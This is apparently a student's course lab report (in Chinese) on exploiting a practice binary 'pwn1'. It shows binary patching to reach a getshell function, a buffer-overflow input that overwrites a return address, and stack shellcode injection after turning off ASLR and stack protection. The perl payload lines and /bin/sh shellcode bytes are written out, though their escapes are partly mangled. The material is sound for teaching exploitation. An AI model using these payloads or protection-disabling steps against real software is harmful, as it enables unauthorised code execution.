• 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解


    2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

    实验内容及步骤

    第一部分:直接修改程序机器指令,改变程序执行流程

    关键:通过修改call指令跳转的地址,将原本指向被调用函数入口的地址修为getshell函数入口的地址,从而达到目的

    • 对pwn1进行反汇编,分析函数执行的步骤
      objdump -d pwn1

      • getshell函数入口地址为0x0804847d

      • foo函数入口地址为0x08048491

      • main函数中调用foo函数的机器码为e8 d7 ff ff ff ,CPU就会转而执行 “EIP +0x d7ffffff”这个位置的指令,在执行call之前EIP为0x080484ba

      • 0xd7ffffff是补码,表示-41

      • 调用foo时地址差:0x080484ba+0xd7ffffff=0x08048491

      • 修改执行流程时的地址差:0x080484ba+0xc3ffffff=0x0804847d

    • 操作:

    • vim pwn1编辑pwn1

    • :%!xxd进入十六进制模式

    • /d7查找内容

    • 0xd7ffffff修改为0xc3ffffff

    • :%!xxd -r转换为原进制

    • 保存

    • 结果验证:

    通过构造输入参数,造成BOF攻击,改变程序执行流

    关键:
    1、构造出用于BOF攻击的字符串
    2、将字符串中的getshell命令覆盖在栈帧中正确的位置,即执行ret函数时压入的返回地址

    • 为了得到恰好覆盖到返回地址的字符串长度,进行输入运行尝试。
      进入GDB调试,并对pwn1输入1111111122222222333333334444444412345678

    • 得到覆盖在返回地址的字符ASCII码值0x34333231即1234。因此,我们只需要将字符串中“1234”替换为getshell的返回地址0x0804847d

    • 由于无法直接敲入16进制的数,所以先生成包括字符串的文件
      perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    • 结合文本输出命令cat与管道符|,将input的内容作为./pwn1的输入。

    • 验证结果:攻击成功

    Shellcode注入攻击
    • 准备:
    apt-get install execstack安装execstack
    # execstack -s pwn1    //设置堆栈可执行
    # execstack -q pwn1  //查询文件的堆栈是否可执行
    # echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    # more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭
    

    • 打开终端注入攻击
    • 查询其进程号,并进入gdb调试观察寄存器地址
    gdb
    attach 34238
    disassemble foo
    break *0x080484ae
    c(运行pwn1的终端按下回车后)
    info r esp
    x/16x 0xffffd21c
    



    得到开始的shellcode地址:0xffffd220
    ````perl -e 'print "A" x 32;print "x20xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x20xd3xffxffx00"' > input_shellcode```

    • 验证:成功注入

    遇到的问题

    1、在做构造字符串时,将得出的shellcode地址替换错了位置,导致一直提示非法指令

    解决:在一遍遍核对地址后,发现ExpGuides博客里有坑- - 然后看了后面部分才纠正了错误。

    实验感想

    • 本次的实验主题是我们一直都很熟悉的名字,但却是第一次尝试缓冲区溢出攻击,十分有趣。实验中,我们也复习了上学期信息安全系统设计基础的相关内容,比如栈帧。同时对缓冲区溢出的原理有了更加深入的理解。不过过程中也出现了很多问题,比如kali机的dns配置问题,我之前装好后只是尝试ping网关,发现能ping通后就没有进一步配置,但是当我安装execstack时一直提示无法解析,然后我又翻了很多博客才成功解决了该问题。后来,由于我对构造的字符串了解不够,也花费了很多时间。

    问题回答

    • 什么是漏洞?漏洞有什么危害?
      • 漏洞则是软件编程过程中的缺陷,就像本实验中的缓存区太小一样,很容易溢出覆盖了栈帧中的其他区域。漏洞会对系统的稳定性和安全性造成影响,会造成信息泄露或者权限盗用等严重后果。
    • NOP, JNE, JE, JMP, CMP汇编指令的机器码
      • NOP:90

      • JNE:75

      • JE:74

      • CMP:
        CMP reg8/mem8,reg8:38
        CMP reg16/mem16,reg16:39
        CMP reg8,reg8/mem8:3A
        CMP reg16,reg16/mem16:3B
        CMP al,immed8:3C
        CMP ax,immed16:3D

      • JMP:
        Jmp near:E9
        Jmp far:EA
        Jmp short:EB
        Jmp word:FF

  • 相关阅读:
    Spring框架(一)-----核心理解
    vi常用编辑
    Avue使用renren-fast-vue开源脚手架工程(一)
    sqlServer触发器调用JavaWeb接口
    Linux常用别名设置
    油猴+IDM不限速下载
    Nginx配置静态web项目
    消息中间件rabbitMQ
    springboot自定义starter
    Nginx配置微信小程序 文件验证
  • 原文地址:https://www.cnblogs.com/cloud795/p/10514022.html
Copyright © 2020-2023  润新知